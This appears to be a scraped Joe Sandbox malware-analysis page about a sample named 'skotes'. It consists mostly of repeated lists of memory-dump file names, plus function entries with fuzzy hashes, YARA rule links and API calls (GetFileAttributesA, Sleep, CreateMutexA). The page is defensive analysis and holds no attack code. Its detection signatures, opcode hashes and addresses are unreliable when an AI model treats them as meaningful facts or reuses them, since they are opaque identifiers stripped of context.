Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 1dcbe46f4cefda4a5bdc7573b9ca075095623d9eb20cf6891d2bd8493b36ecba
Instruction ID: ee9192b4ad7dd55317059d1603431d86b15d2fbe5ce6e43a976b49a35cff11d0
Opcode Fuzzy Hash: 1dcbe46f4cefda4a5bdc7573b9ca075095623d9eb20cf6891d2bd8493b36ecba
Instruction Fuzzy Hash: 9F314A31A041049BFF1CABB8DD997BDBBA2EFC5314F644219F124DB2D1C7755A808B52

Function 0018A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0018A07C
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: f5f4ecab5fc1c7bd49ce7c8ae5ffc7dd8d3078dc9496eb003f79cd44db899ceb
Instruction ID: 815cad9f01b465ca70885db2d990927b9849a60b2a48e503c9a4b599b9b11817
Opcode Fuzzy Hash: f5f4ecab5fc1c7bd49ce7c8ae5ffc7dd8d3078dc9496eb003f79cd44db899ceb
Instruction Fuzzy Hash: 3D316831B042049BFF08ABB8DDC9B6DB772DFC1314F64821AE1149B7D1C736AA808B12

Function 0018A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0018A1B1
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a09327c27c28305557fe19b95f17577883cbdb4229f49033e73a8e7d70f0b319
Instruction ID: ae066ad87d90204e3535b5c5f901b838e6ee8e8f605e26f8eb87724da658faf0
Opcode Fuzzy Hash: a09327c27c28305557fe19b95f17577883cbdb4229f49033e73a8e7d70f0b319
Instruction Fuzzy Hash: E2314831A041409BFB18ABB8DDD9B6DB772AFD6314F64421AE1149B2E1C7769A808B12

Function 0018A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0018A2E6
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 8d651df59977863f147ec915c544885880c7987cbb0e83be0f9da5b618c4ad71
Instruction ID: 0cdd276402775a9f51df8e65702d0dadc9bb352259e212f141d8e0bbe10c38e4
Opcode Fuzzy Hash: 8d651df59977863f147ec915c544885880c7987cbb0e83be0f9da5b618c4ad71
Instruction Fuzzy Hash: 14318D31A042009BFF18EB78DDC876DB772EFD2314F60821AE5159B7E1C7759A808B12

Function 0018A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0018A41B
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: e3a12f95f05c0d2b49f84e5855775f66a51b9439792ff64397e729452e41c062
Instruction ID: 84ddfe07bc231ba712686d7cb6f9e0265e2ecc6a3b530959f2b7de7ea0c0770e
Opcode Fuzzy Hash: e3a12f95f05c0d2b49f84e5855775f66a51b9439792ff64397e729452e41c062
Instruction Fuzzy Hash: BE316A31A041009BFF08BBB8DDDDB6DB772EFD1314F64421AE1159B2D5C7B56A808B52

Function 0018A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0018A550
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
